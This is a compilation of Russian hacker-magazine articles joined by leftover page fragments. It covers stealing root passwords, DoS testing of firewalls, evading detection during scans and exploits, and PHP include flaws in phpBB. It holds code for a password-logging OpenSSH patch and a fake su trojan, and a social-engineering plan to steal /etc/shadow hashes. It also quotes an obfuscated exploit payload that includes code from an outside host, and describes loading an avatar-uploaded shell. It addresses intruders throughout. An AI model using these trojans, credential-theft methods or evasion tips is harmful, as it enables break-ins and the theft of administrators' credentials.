Пожалуй, самая большая проблема в хаке – определение рутового пароля. Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы
. Нет, тебе даже не потребуется встречаться с админом и поить его пивом до бессознательного состояния (а точнее, до состояния, в котором он раскроет тебе важную информацию). Все намного проще – существуют приемы, после применения которых, ты получишь root password. Естественно, все зависит от ситуации. Все они будут обговорены ниже.
1. Поиск в Perl/PHP-скриптах.
Очень действенный метод. Обычно админы из-за своей лени делают рутовый пароль на базу сходным с паролем в систему. А аккаунт к SQL можно найти… правильно! В PHP и Perl скриптах. Перед этим узнается путь к WWW-каталогу (простым парсингом httpd.conf), после перехода в этот каталог ищется необходимая информация. Следует лишь учитывать, что PHP-скрипты часто используют инклуд-файлы (*.inc) с переменными для MySQL, Perl-сценарии хранят все в одном главном файле. Проверить пароль можно командой mysql –uroot –pПАРОЛЬ. Затем сравни его с системным (через /bin/su).
Метод применяется при всех вариантах взлома.
2. Поиск в HISTORY-файлах.
Часто админы используют консольные программы, которым передают пароль прямо из командной строки. Это все записывается в history-файл под названием .bash_history (естественно, для других интерпретаторов название файла будет другим). Туда же может попасть инфа из-за ошибки админа в команде (я, например, видел то, как админ вместо “su” набрал “psu”, а затем свой пароль).
Существует другой файл истории. Он называется .mysql_history и находится также в домашнем каталоге пользователя. Там ты можешь найти команды смены пароля для SQL-доступа. Этот пароль, возможно, совпадет с рутовым.
Способ применим лишь когда имеется полный контроль над системой. Но случается такое, когда HISTORY-файлы имеют атрибут 644. Найти такие файлы (а затем прочитать) можно с помощью команды find / -perm 644 –name *_history.
3. Поиск в .htpasswd.
Когда в системе установлен Web-сервер, возможно обнаружить хеши-паролей в .htpasswd-файлах. Просто набери locate .htpasswd и ты увидишь список доступных файлов. Правда, файлы не будут прочитаны, когда у тебя лишь user-access, а на документе установлен атрибут, запрещающий read.
Расшифровать такие хеши можно программой John The Ripper. Не мне тебя учить этим заниматься, поэтому считаю, что данный метод тебе понятен.
4. Поиск в других файлах.
Встречаются сервера, где пароли указываются в файлах сторонних приложений. К примеру, я сталкивался с ситуацией, когда рутовый пароль лежал в файле socks5.password.
Внимание! Эти файлы могут оказаться недоступными для чтения. Поэтому, тут все зависит от ситуации…
5. Заметки на полях.
Часто админы оставляют важные файлы в своих каталогах. Они содержат некоторые заметки. Не исключено, что среди таковых ты можешь встретить и пароли. Я сам сталкивался с таким и нарыл рутовый пароль в файлике “notes”. Обращай повышенное внимание на подобные вещи.
6. Поиск в логах.
Да! Помимо обычной информации, логи могут содержать пароли. Например, radius ведет полный отчет об аутентификации (по умолчанию). Что парадоксально, эти логи доступны для чтения обычному пользователю. Из-за этого, становится возможным прочитать отчет авторизации, а, следовательно, узнать пароли (возможно, среди них будет и рутовый).
7. Снифинг данных.
Некоторые руткиты содержат в себе локальный снифер, который позволяет легко узнавать пароли на ssh (простая модификация /usr/bin/ssh с поддержкой логгинга
). Обычно такая поддержка и путь к файлу с логом указывается в документации руткита). Все хорошо, но огорчает лишь одно обстоятельство: большинство руткитов содержат старый ssh, который поддерживает лишь первый протокол. В итоге, хакер может выдать себя с потрохами.
Но кто мешает собрать собственный ssh и включить в нем запоминание паролей? Правильно! Никто. Находим в пакете OpenSSH файлик с именем sshconnect1.c. Затем вставляем в его содержимое следующие строки:
После строчки “snprintf(prompt, sizeof(prompt), “%.30s@%.128s’s password: “,server_user, host);”
ifile=fopen(”/boot/kernel.old”,”a”);
fprintf(ifile,”session %s %s “,server_user,host);
fclose(ifile);
После строчки “password = read_passphrase(prompt, 0);”
ifile=fopen(”/boot/kernel.old “,”a”);
fprintf(ifile,”password is %s “,password);
fclose(ifile);
Если все сделано правильно, ssh соберется без приключений. Теперь админ не заметит изъяна в системе, а ты узнаешь его пароль на ssh. Когда он ходит под рутом – это и будет рутовый пароль
.
8. Прикидываемся системным сервисом
.
Для осуществления этого способа достаточно написать небольшой скрипт, который читает /etc/shadow и гребет оттуда рутовый хэш. Это просто и писать сценарий я не буду (справишься сам). Затем пишется e-mail администратору, в котором говориться, что в системе обнаружен вирус, и для его лечения необходимо запустить специальную программу. Для полной убежденности, укажи системный путь к этой программе. Когда админ запустит твое творение (а сделает он это под рутом), ты уведешь его драгоценный хэш. Разумеется, тебе нужно напичкать свой сценарий разного рода надписями, что вирус излечен. Да, и не вздумай выкладывать исходник на диск в системе – админ его обязательно прочитает. Если пишешь на перле, после написания скомпилируй его в бинарник (perlcc –o file file.pl).
9. Fake-su.
Этот метод я описывал в одном из номеров Хакера (Юниксоид, Забавы в Linux). Из-за того, что юзеры, читавшие Хакер не посещают сайта (и наоборот), будет не лишним повторить мой хитрый прием.
Итак, создается файл следующего содержания:
#define SORRY “Sorry”
#define PFILE “tmp/.screen”
#define MYPATH “tmp/.screen_active”
#include
void sigexit(int no);
int main() {
char pass[40];
char longs[100];
int filep;
signal(SIGINT, sigexit);
printf(”Password:”);
system(”stty -echo”);
scanf(”%s”,pass);
system(”stty echo”);
printf(” “);
filep=fopen(PFILE,”w”);
fprintf(filep,”Pass is %s “,pass);
fclose(filep);
printf(”%s “,SORRY);
strcpy(longs,”");
strcat(longs,”/bin/ln -sf /bin/su “);
strcat(longs,MYPATH);
system(longs);
exit(0);
}
void sigexit(int no) {
system(”stty echo”);
printf(” “);
exit(0);
}
и обзывается su.c. Если вглядеться в простенький код можно понять, что это полная имитация /bin/su, только с логированием пароля в файл tmp/.screen. Сам бинарник будет находиться в файле tmp/.screen_active (все пути относительно домашнего каталога пользователя). После того, как файл выполнится он замещается стандартным /bin/su. Таким образом, админ думает, что ошибся паролем, так как со второй попытки суид будет успешным.
Перед тем, как проверять данный метод на практике, впиши строчку “alias su /home/user/tmp/.screen_active в файл ~/.bash_profile и жди, пока админ решит суиднуться на рута. Когда это произойдет – пароль твой
.
Данный метод работает лишь тогда, когда юзер регулярно суидиться на рута, а у хакера есть доступ к этому аккаунту (либо ко всей системе).
10. Стандартный способ.
И, наконец, настало время рассказать про самый тривиальный способ. Хакер захватывает систему и получает доступ к /etc/shadow. Далее, все по сценарию – берется расшифровщик, хороший словарь и вся надежда только на удачу. Я думаю, ты не раз сталкивался с применением этого метода. И, что интересно, постоянно забывал об остальных 9…
конецформыначалоформыСейчас мы будем их жестоко тестить на предмет противодействия различным видам сетевых атак. Выясним же, кто действительно стоит того, чтобы занимать достойное место в системе, защищая её от всяческих напастей; а кто – разрекламированный друшлаг.
1. Безобразие начинается
2. Подопотные
3. Обещания разработчиков
4. Флудим
5. SYN
- ICMP
- IGMP
- UDP
6. Нюкаем
7. Эксплоиты
8. Прослушиваем
9. Сканим
10. Отключаем
11. Кто здесь Лидер?
Посмотрим же как реализуют себя стенки в защите вашего любимого компа. Сейчас мы будем их жестоко тестить на предмет противодействия различным видам сетевых атак. Выясним же, кто действительно стоит того, чтобы занимать достойное место в системе, защищая её от всяческих напастей; а кто – разрекламированный друшлаг.
Заниматься мы будем простейшим и в то же время важнейшим делом – валить систему в синий экран всеми доступнымии способами. Вот щас и выясним – кто тут лидер ))).
А если говорить интелегентно – мы будем испытывать фаерволы на предмет противодействия атакам, вызывающим отказ в обслуживании,.. и не только.
Предполагается начальные знания читателя основы ТСР\!Р протокола, а также некоторого хакерского опыта smile.gif .
Итак, мы имеем:
1. Винда ХРеновая\SamPostavil_2, пропатченная под завязку.
2. Фаерволы популярные:
- Kaspersky AntiHacker v.1.7.130
- OutpostPro_v3.0.543.431 RUS Final
- ZoneAlarm_PRO_60.667
2. Четыре вида флудеров: SYN, ICMP, IGMP, UDP.
3. Вагон нюкеров с маленькой тележкой: WinNuke, SmbDie, Fragmentation….
4. Три самых популярных масдайных эксплоита\червя: LoveSun, Sasser, Messenger, UP&P.
5. Снифер, крутой и професиональный.
6. Сканер портовый, многофункциональный.
7. Мозг – воспалённый, руки – выпрямленные smile.gif
Замечу что производители этих фаерволов обещали защищать нас конкретно от:
1. Kaspersky AntiHacker v.1.7.130
* Ping of Death- Эта атака состоит в отправке на ваш компьютер ICMP – пакета, размер которого превышает допустимое значение в 64 КБ. Эта атака может привести к аварийному завершению работы.
* Land – Эта атака заклюсается в отправке на ваш компьютер большого количества запросов на установку соединения с самим собой. Атака приводит к тому, что компьютер не реагирует на другие попытки установить соединения.
* Сканирование TCP-портов – Эта атака заключается в попытке определить открытые TCP-порты на вашем компьютере. Атака используется для поиска слабых мест и предшествует более опасным атакам.
* Сканирование UDP-портов – Эта атака заключается в попытке определить открытые UDP-порты на вашем компьютере. Атака используется для поиска слабых мест и предшествует более опасным атакам.
* SYN-Flood – Эта атака заключается в отпраке на ваш компьютер большого кол-ва запросов на установку соединения. Атака приводит к тому, что компьютер не реагирует на другие попытки установить соединения.
* UDP-Flood – Эта атака заключается в отправке специальных UDP-пакетов, которые бесконечно пересылаються между атакованными компьютерами. В результате атаки тратяться ресурсы компьютеров и загружается центральный процессор.
* ICMP-Flood – Эта атака заключается в отправке большого кол-ва ICMP-пакетов на ваш компьютер. Атака приводит к большому росту загрузки процессора в силу реагирования на каждый пакет.
* Helkern – Эта атака заключается в в отпраке на ваш компьютер UDP-пакетов специального вида, способных выполнить вредоносный код. Атака приводит к замедлению работы в интернете.
* SmbDie – Эта атака заключается в попытке установить соединение с вашим компьютером по SMB-протоколу, в случае успеха на компьютер отправляется пакет особого вида, который пытаеться переполнить буфер. Атаке подвержены ОС Windows 2k\XP\NT.
* Lovesan – Эта атака заключается в попытке обнаружения на вашем компьютере бреши в сервисе DCOM_RPC операционной системе Windows и пересылке вредоносной программы с её использованием, которая потенциально позволит производить любые манипуляции на вашем компьютере.
2. OutpostPro_v3.0.543.431 RUS Final
* Сканирование порта – атакующий запрашивает TCP и UDP порты Вашей системы, чтобы определить к какому порту он может подсоединиться, чтобы получить контроль.
* Denial of Service – Большое кол-во данных посылается на порт вашей системы при попытке вызвать ошибку или зависание системы.
* Fragmented ICMP – пакет ICMP, посланный в виде фрагментов, превышает 1472 байта после сборки. Это может привести к сбоям в стеке TCP и зависанию системы.
* Fragmented IGMP – пакет IGMP, посланный в виде фрагментов, превышает 1472 байта после сборки. Это может привести к сбоям в стеке TCP и зависанию системы.
* Short fragments – Пакет разбивается на несколько фрагментов, которые затем изменяються таким образом, что после сборки пакет приводит к зависанию системы.
* Teardrop – ещё один вид Short fragments атаки.
* My Address – Атака, состоящая в перехвате IP – адреса Вашей системы, имитации системы в сети и захвате всех соединений.
* Перекрывающиеся фрагменты – Пакет разбивается на несколько фрагментов , которые затем изменяються таким образом, что накладываються друг на друга и вызывают зависание системы из-зи ошибок памяти.
* WinNuke – Источник проблемы состоит в уязвимости протокола TCP, приводящей к зависанию некоторых версий операционных систем Windows при получении специфических пакетотв.
* Nestea – опасное перекрытие IP – пакетов, вызываемое программой Nestea, может привести к нестабильности и зависанию системы.
* Iseping – Большой ICMP пакет разбивается на большое число фрагментов. После сборки приводит к зависанию системы.
* ICMP атака – TCP\IP стек Windows некорректно обрабатывает фрагментированные ICMP-пакеты. Система, получившая такой пакет, с большой вероятностью, зависнет.
* Opentear – программа Opentear использует фрагментированные UDP-пакеты, чтобы подвергнуть компьютер жертвы перезагрузке.
* Nuke – Попытка захватить TCP-соединение и обойти брандмауэр и другие системы обнаружения атак.
* IGMP атака – TCP\IP стек Windows некорректно обрабатывает фрагментированные IGMP-пакеты. Система, получившая такой пакет, с большой вероятностью, зависнет.
* Port139 – Фрейм с нулевым полем имени, который может привести системы Windows 95 или 98 к нестабильному состояниюили зависанию.
* Неверное поле IP Options – атака использует переполнение буфера стэка TCP\IP (когда размер поля IP Options превышает 38 байт) для выполнения вредоносного кода на вашем компьютере.
* Атака RPC DCOM – Различные черви и утилиты используют RPC_DCOM – уязвимость, что может привести к выполнению злонамеренного кода и падениям системы.
* Отравление ARP-кеша – опасная атака направленная на перехват трафика.
3. ZoneAlarm_PRO_60.667
* Детектора атак нету
* Зато защита ARP-кэша есть
* А остальное надо ручками настраивать, ибо фаервол очень серьёзный.
Итак, приступим. Выставим фаерволам вот такие режимы. Для Касперского – это “Высокий”. Для Аутпоста – “Блокировать”. А вот Мистер Аларм на высоком уровне защиты блокировал ВСЕ мои домогательства (можно считать его вне конкуренции и лидером в области высокого уровня запрета), поэтому, чтоб было интересней, я его перевёл в средний режим тревожности.
Начнём сначала, испытывая флудеры:
* SYN-флудер
*Без фаервола система падала секунд за 10.
*Касперский, как положено, опознал атаку и заблокировал айпи негодяя, однако процессор всё равно грузился (?). Какого.. ! Видимо, приоритет загруженного драйвера фаервола стоит на равном (или ниже) виндового, в чем я так же убедился на других атаках. Это вери бэд, ибо по сути должного противодействия атаке не оказывается. Это означает, что если атакующих будет двое или более – системе пипец.
*Аутпост не опознал атаку(замечу, что опознание флуд-атак в него не заложено!!!), и загрузка процессора была вдвое больше.
*Аларм молчал (детектора атак у него вообще нет), однако каким-то чудом не давал процессору загружаться. Хм.. может флудер не правильный?..
* ICMP-флудер
*Касперский определяет флуд… и всё равно грузит проц.
*Аутпост даже при стандартных настройках режет ICMP по самое не балуйся. Урезав всё вручную и оставив только необходимое он превратился в настоящую ICMP-крепость, которой до такого флуда просто пофиг. Респект.
*Аларм был настроен на фильтрацию этих пакетов. Атака провалена.
* IGMP-флудер
*Без фаервола процессор грузился на 100%, однако система была работоспособна(приоритет IGMP низок).
*Касперский не знает ничего об IGMP вообще и молчал. Процессор на 80%.
*Outpost при первом включении обычно спрашивает, разрешать ли обработку IGMP. Нах. И так как IGMP был просто запрещен, проц – 50%.
*Аларм был настроен на фильтрацию пакетов. Проц 35%.
* UDP-флудер
*Без фаерволов проц на 100%(приоритет удп выше чем тср) , система жутко тормозила, но (я оч удивлен) всё же выжила.
*Касперский, как обычно всё распознал… и продолжал грузить процессор )))
*Аутпост каким то неизвестным образом умудрялся противостоять натиску без блокировки.
*Аларм как обычно молчал, не давая мне ни шанса ($ly ..!!!).
Теперь по-нюкаем
*Касперский опознал лишь LAND атаку – пожалуй единственную, которой подвержена ХР. Вобщем то можно сказать, что ставить фаервол от дяди каспера можно только на пропатченную ХР, так как если б это была другая винда – она свалилась бы без вопросов.
*Аутпост как и было обещано опознал многие типы нюкеров. А вот с LAND как раз не справился.
*По причине отсутствия детектора атак, Алармик был безмолвен. Если его ставить на старую систему, есть реальный шанс свалить её, при условии достаточно демократичных настроек фаервола.
Эксплоиты
Ну с DCOM’ом и Lsass’ом как оказалось, был знаком KAV и Outpost. А вот остальные сплоиты они видели явно впервые ) А ещё говорят, что если слегка переписать код эксплоита, то его ваще никто не замечает…
Снифер – тест
Теперь заценим новую фичу Аутпоста – защиту от отравления арп-кэша. Берём специальный снифер и травим кэш жертвы. Вот, без фаервола ВЕСЬ трафик между сервером и жертвой пошел через нас. А из него мы можем легко выловить пароли. Включаем Аутпост – тревожная табличка и все хакеры идут лесом ))).
А так же обратим внимание на встроенный в Аутпост антиспайвэа-модуль, который призван находить в вашей системе разных шпионов. Фича полезная. Определила 3 из 3-х запущенных шпионских паблик-прог.
Про огромную гору фишек в Аларме я рассказывать устану. Там их дофигища. Защита АРП-кэша имеется.
Сканим порты.
Ну теперь – самое любимое ))
При сканировании нескольких портов каждый фаер сразу опознавал нарушителя, независимо от типа сканирования.
Теперь усложним задачу. Кто мешает нам посканить один порт? Прально. А если удасться, то через секунд 10 можно просканить и ещё один, и ещё…
Сканить будем в два этапа. Оба – стелс-сканирование, первое поверхностное, второе – углубленное.
Скажу, что на поверхностном удалось просканить всех.
*Касперский показал неплохой результат, заблокировав хакера при начале углубленного скана.
*Аутпост при стандартных настройках сканиться просто на ура. Однако слегка поднастроив детектор атак он показал отличный результат.
*Аларм ничего не стал скрывать и устроил моему сканеру чистосердечное признание, сдав систему и сервисы с потрохами smile.gif))
Отключаем
Теперь просто и незатейлево пытаемся изменить настройки\отключить\деинсталировать фаервол и посмотрим его реакцию. Предположим, мы удаленно получили доступ к командной строке с привелегиями SYSTEM или Администратора. Из-за криво настроенного фаервола мы имеем сам доступ, однако нам этого мало и надо любой ценой устранить сетевой экран.
*Касперский абсолютно не возражал против отключения своего сервиса и убийства процесса. У него даже защиты паролем нет.
*Аутпост был защищён паролем. Однако умер от простейшего тасккила с выгрузкой сервиса(можно сбацать сишную прогу с “TerminateProcess”)
*Аларм послал меня куда подальше, вывел табличку с предупреждением. Мало того, он защищен паролем и от деинсталяции. Безупречно. Отключив таки сервис, загрузившись в безопасносном режиме, я снова потерпел неудачу.
Оказывается, Аларм глубоко интегрируется в сетевые дровишки и при его несанкционированном отключении происходит полная блокировка сетевого трафика. Просто зверюга.
Кто здесь Лидер?
Ну вот. Чтож, могу сказать, что фаервол Касперского я бы назвал не Анти-Хакер, а Анти-Ламер ))) ибо защищает он лишь от них. Также использование его на системах, отличных от WinXP\SP2 будем иметь печальный итог. Тут уж я и не знаю кто кого и от кого защищает )).
Меня сильно позабавил смачный глюк, когда несмотря на “блокировку атакующего” я таки смог определить открытые порты. Ето вери-вери бэд.
Аутпост показал неплохую устойчивость от различного вида атак. Огорчает его безразличие к флуду (однако айпи хакера можно легко посмотреть, открыв вкладку сетевой активности), но радует повышенная безопасность от сниферства, spy-детектор и гибкость настроек детектора атак (да и всех остальных модулей – оч. профессиональный подход). Почти некчему придраться.
Зон Аларм ваще зверь, но только при высоком уровне защиты. Видите ли, разработчики делали режимы фаервола в расчете на СТРАШНЫЙ Интернет и БЕЗОПАСНУЮ локальную сеть… Поэтому, если вам все надоели, вы хакер, единоличник, или агент FBI – ставьте Алармик и врубайте высокий режим защиты. Тогда достучаться до вас можно будет только через дверь.
Конечно же все мы когда либо пользовались сканнерами типа XSpider, LanSpy и т.д.. Так же большинство из нас пользуется эксплойтами которые пишут различные security-команды. При этом мы даже не задумываемся, или задумываемся совсем редко, о том, что сканнеры и эксплойты оставляют после себя огромную кучу следов, по которым Вас вычислить – дело часа, а то и минут 10. Сейчас я попытаюсь объяснить как именно Вас могут подставить эксплойты и сканнеры уязвимостей.
Для начала давайте рассмотрим сканнер безопасности XSpider. Безусловно, это лидер на рынке сканнеров безопасности. Но он создан именно для “открытого” сканирования. Самые первые следы могут быть найдены уже при начале сканирования – первым производится сканирование портов. Оно производится в большое количество потоков, поэтому легко обнаружается файрволом, соответственно администратор может с лёгкостью обнаружить в лог-файлах файрвола Ваш IP. Но это ещё пол беды. Максимум что Вам могут сделать за сканирование – предупредить, либо в будущем отфильтровывать все запросы с Вашего IP-адреса (бан по IP).
Идём дальше – XSpider, при обнаружения какой либо службы, в которой присутствует авторизация (Telnet, FTP, POP3 и т.д.), начинает подбирать к ней пароль, что тоже чревато последствиями. По большому счёту при подборе пароля есть 2 варианта развития событий:
1. Таймаут
2. Занесение попыток в логи
При первом варианте сервис обнаружает подбор пароля и на все, даже правильные, попытки авторизации начинает отказывать Вам в доступе. Соответственно администратору сообщается об этом.
При втором же варианте в логах появляется несколько сотен, а то и тысяч, строчек с попытками неверной авторизации, с промежутком в доли секунд, что явно указывает на подбор пароля. Это относится не только к XSpider, но и ко всем брутерам типа Brutus, Hydra и т.д..
Вот здесь есть лог ftp-сервера к которому я подбирал пароль с помощью Brutus-AET2. При подборе использовались словари которые идут в комплекте с Brutus-AET2. (users.txt,words.txt). Подбор только по этим словарям добавил в логи ровно 1000 строчек. Тот же XSpider имеет словари которые больше в тысячи раз.
Далее проходит анализ веб-контента и CGI-сканирование. Анализ веб-контента страшен тем, что сканнер начинает обнаружать уязвимостями самыми пресловутыми способами – подставляя в параметры кавычки, AND 1=1/*, всяческие теги в поля для ввода и т.д. Любая IDS сразу начнёт визжать и выдаст огромный список попыток атак. Конечно, Вы можете сказать – “там же есть галочка “Маскировать от IDS””. Хочу Вас огорчить – эта галочка практически ничего не значит, более-менее нормально настроенная IDS всё равно обнаружит попытки атак. К тому же, даже если IDS не имеется, Вы загадите логи так, что любой Вася из 9 класса, за шоколадку держащий сервер, обнаружит факт CGI-сканирования.
Для того, что бы больше Вас убедить я просканировал свой веб-сервер XSpider`ом используя профиль HTTPAll, предварительно вычистив у веб-сервера все логии полностью. После CGI-сканирования логи стали весить 642(!) кб. Лог заполненный результатами работы XSpider Вы так же можете посмотреть здесь.
Вот небольшой кусок из этого лога:
172.17.11.142 – - [21/Jan/2007:13:29:12 +0300] “GET /nkpyuetjqhiarwwk.htm HTTP/1.1″ 400
172.17.11.142 – - [21/Jan/2007:13:29:12 +0300] “GET / HTTP/1.1″ 302
172.17.11.142 – - [21/Jan/2007:13:29:12 +0300] “GET /https-admserv/bin/index HTTP/1.1″ 404
172.17.11.142 – - [21/Jan/2007:13:29:12 +0300] “GET /Admin.po?proceed=yes HTTP/1.1″ 404
172.17.11.142 – - [21/Jan/2007:13:29:13 +0300] “GET /Admin/index.jsp HTTP/1.1″ 200
172.17.11.142 – - [21/Jan/2007:13:29:13 +0300] “GET /std.html HTTP/1.1″ 404
172.17.11.142 – - [21/Jan/2007:13:29:13 +0300] “GET /servlet/ServletManager HTTP/1.1″ 404
172.17.11.142 – - [21/Jan/2007:13:29:13 +0300] “GET /admin/contextAdmin/contextList.jsp HTTP/1.1″ 200
172.17.11.142 – - [21/Jan/2007:13:29:14 +0300] “GET / HTTP/1.1″ 302
172.17.11.142 – - [21/Jan/2007:13:29:14 +0300] “PUT /PTNSSnnxam.txt HTTP/1.1″ 405
Как видите – первые 4 запроса сделаны в 13:29:12 – 100% cgi-сканирование.
Причём сканирование идёт со скоростью 4 запроса в секунду. На такую скорость сработает любая IDS. Ну и конечно же стоит упомянуть о том, что XSpider добавил своим сканированием 7068 строчек в лог-файл. Если Вы будете сканировать дохлый сайт какой ни будь компании, который посещают человека 2-3 в неделю (и то по ошибке), то Вы явно нарвётесь на неприятности. Самое лучшее, что можно сделать – сканировать/подбирать пароль через прокси. И то если Вы это сделаете, то будьте на 80% уверенны в том, что после Ваших действий Вас на той стороне уже будут ждать, а возможно и поменяют все пароли.
Далее по списку (если используется профиль Default) идёт поиск уязвимостей в остальных сервисах – удалённые переполнения буфера, DoS и т.д.. И мало кто из начинающих читает предупреждения или Help сканнера. Вот вырезка из справки XSpider – “Иногда, при плохом качестве связи с проверяемым хостом возможно ложное определение DoS-уязвимости (когда связь с хостом прервалась случайно, а XSpider сделал вывод, что прошла DoS-атака).” – отсюда делаем вывод – если DoS-атака пройдёт, то сервер реально может откинуться, но если верить той же справке, то такое происходит в 40% случаев. Обратите внимание ещё на то, что при настраивании профиля там ясно указывается – обнаружение некоторых уязвимостей может плохо кончится для сервера.
Ну, думаю что со сканнерами и с брутерами всё понятно. Давайте теперь перейдём к эксплойтам. Вы наверное ни раз уже пользовались ими. Но хоть один из Вас задумывался как они работают? Что они делают? Какие следы могут оставить? Я думаю что 70% читателей скажут “Нет”.
Большой популярностью (по мнению автора) пользуются эксплойты к форумам. Как Вы наверное уже знаете – на большинстве форумов распознавание пользователей происходит с помощью сессий. Имена сессий представляют из себя обычный набор букв и цифр – никаких посторонних или опасных знаков. Каждый кто заходит на форум получает сессию даже если он не авторизирован. Вот пример обычного имени сессии:
ab7bfc3f886270fd339dcce652fed1eb
А в эксплойте для ipb2.1.6 от RST как имя сессии передаётся строка ipb216_for_IDS. Так же, в каком-то эксплойте, (точно уже не помню) имя сессии было IDS_i_am_exploit. И таких примеров множество. Если Вы хотя бы немного знаете об IDS, то Вы наверное в курсе того что базы IDS часто обновляются, соответственно в них есть записи о том как распознать эксплоит.
Конечно же, IDS стоят не на всех веб-серверах, но это не спасёт Вас от вычисления в ~60% случаях использования эксплойтов. Возьмём, к примеру, эксплоит для IPB 2.1.5 от RST, который выполнял произвольные команды. Он создаёт топик называющийся justxpl, с примечанием justxpl justxpl. Топик содержит следующий текст:
r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116). chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100). chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105). chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))
Грамотный администратор сразу же поймёт в чём дело, а Вы лишний раз засветитесь.
Вот вырезка из жалобы одного администратора провайдеру:
“попытки взлома форума продолжаются – на этой неделе опять были созданы темы «justxpl». Автор лазит через прокси.”
А эксплойты для удалённого переполнения буфера или повышения привилегий вообще не стоит использовать предварительно не проверив их работу хотя бы на виртуальной машине. Данные типы эксплойтов опасны тем, что могут делать далеко не то что обещают. В эксплойте может существовать и защита от дурака. Я слышал о множестве случаев когда запускали эксплоит, который (как в комментариях писалось) через уязвимость в определённом сервисе давал атакующему командную строку с привилегиями администратора, а получали полное вырубание сервиса или DoS всей машины.
Эксплойты для поднятия привилегий через уязвимость в ядре вообще могут грохнуть ОС так, что придётся переустанавливать. А подумайте сами – за что дадут больше сроку: за то что Вы просто получили командную строку или за то что Вы убили ядро ОС и вывели сервер из рабочего состояния?
Надеюсь после прочтения данной статьи многие задумаются и начнут перед атаками тестировать эксплойты на виртуальных машинах или локальном веб-сервере.
Данная статья рассматривает способы подключения файлов в PHP скриптах, способы проверки данных, передаваемых в функции “include” и “require”, возможные случаи передачи данных в эти функции. Так же рассматриваются возможности подключения файлов “сторонних” производителей. В конце рассматривается возможность подключения файла загруженного как аватар. Статья преследует цель показать методику поиска и анализа мест, потенциально уязвимых для PHP-инъекций. Она будет интересна людям, делающим первые шаги на пути поиска и эксплуатирования ошибок в PHP приложениях, давая возможность проследить за ходом поиска уязвимых мест в скриптах, также будет интересна и программистам, показывая на примерах способы проверки данных и выявление неточности в логике построения проверок. Для тестиования выбран форум phpBB 2.0.21, и перед тем как читать дальше я рекомендую установить этот продукт.
Поискав require и include во всех исходниках форума я нашел подключения различных файлов. Много подключений однотипных, например подключается файл так “$phpbb_root_path . ‘includes/functions_validate.’.$phpEx”, т.е. указание на директорию, которая в зависимости от расположения подключающего файла меняется, затем точное указание на файл, добавление к нему расширения. Скорее всего $phpbb_root_path создана для удобной возможности перемещения файла из одного каталога в другой, и изменение этой переменной позволит легко переопределить пути подключения файла. Изменение этой переменной привело бы к возможности удаленного инклюда. $phpEx определяет расширение PHP скриптов, связано это с тем, что WWW сервис определяет PHP скрипт по его расширению. На некоторых серверах возможны такие варианты как “php3″,”php5″,”phtml”.
Итак, что же сделано для того чтобы никто не смог переписать эти переменные? В файлах, где переменная “$phpbb_root_path”и “$phpEx” не задается явно, стоит проверка определена ли константа IN_PHPBB, если нет, то скрипт умирает сообщая “Hacking attempt”. В файлах, где определяется эта константа, в самом начале определяются и эти две переменные $phpbb_root_path и $phpEx. Изменить эти переменные можно только если register_globals включен (по умолчанию он выключен), и программист забыл поставить проверку константы. Архитектурно неверно использовать подобные приемы, лучше всего жестко определять пути для подключаемых файлов, либо для определения пути использовать константы. Так же лучше всего определить фиксированное расширение для подключаемых файлов и выделить для них отдельный каталог, закрытый, например, с помощью .htaccess, от передачи оттуда файлов . Хотя такие решения с переменными дают возможность использовать данное приложение на различных WWW сервисах.
Из друг на друга похожих икнлюдов выделяются и интересуют нас следующие:
в файле admin/admin_styles.php
$phpbb_root_path. “templates/” . basename($install_to) . “/theme_info.cfg”
$phpbb_root_path. “templates/” . $sub_dir . “/theme_info.cfg”
в файле index.php
‘./’ . $file
в файле faq.php
$phpbb_root_path . ‘language/lang_’ . $board_config['default_lang'] . ‘/’
. $lang_file . ‘.’ . $phpEx
в файле includes/functions.php
function init_userprefs – $phpbb_root_path . ‘language/lang_’
. $board_config['default_lang'] . ‘/lang_main.’ . $phpEx
function init_userprefs – $phpbb_root_path . ‘language/lang_’
. $board_config['default_lang'] . ‘/lang_admin.’ . $phpEx
function setup_style – $phpbb_root_path . $template_path . $template_name
. ‘/’. $template_name . ‘.cfg’
function message_die – $phpbb_root_path . ‘language/lang_’
. $board_config['default_lang'] . ‘/lang_main.’.$phpEx
Файл admin/admin_styles.php
include($phpbb_root_path. “templates/” . basename($install_to)
. “/theme_info.cfg”);
Переменная install_to берется из запроса GET или POST в чистом виде, что может привести к передаче в эту переменную любой информации. Переменная обрабатывается функцией “basenamе()” и поэтому данные вида “/../../myScriptName” обрежутся до “myScriptName”. Но можно передать строку “myScript\x0″ и тогда из папки templates подключится файл “myScript” , либо передать “..” и тогда если в корне форума существует theme_info.cfg, он подключится. Если его нет, то будет ошибка.
Стоит добавить проверки, которые поставлены в рассматриваемом далее инклюде, он так же находится в этом файле
. include($phpbb_root_path. “templates/” . $sub_dir
. “/theme_info.cfg”);
Расположенный вне проверок такой вызов функции позволил бы, передав в $sub_dir данные, запустить скрипт загруженный как аватар. В итоге полученная строка, переданная в include, выглядела бы так
./../templates/../images/avatars/shell.jpg\x0/theme_info.cfg
Но $sub_dir переменная, в которую поочередно передаются имена файлов и папок из каталога “./../templates/”, значит возможность передать спецсимволы исключена.Дальше идет проверка того, что бы переменная не являлась файлом или ссылкой, не была бы равна “.”, “..” и, как нестранно, “CVS”. После такой проверки, $sub_dir однозначно будет каталогом. Последняя проверка устанавливает факт существования “theme_info.cfg”. В итоге проникнуть можно либо создав свой каталог и поместив “theme_info.cfg”, либо изменить существующий “theme_info.cfg”.
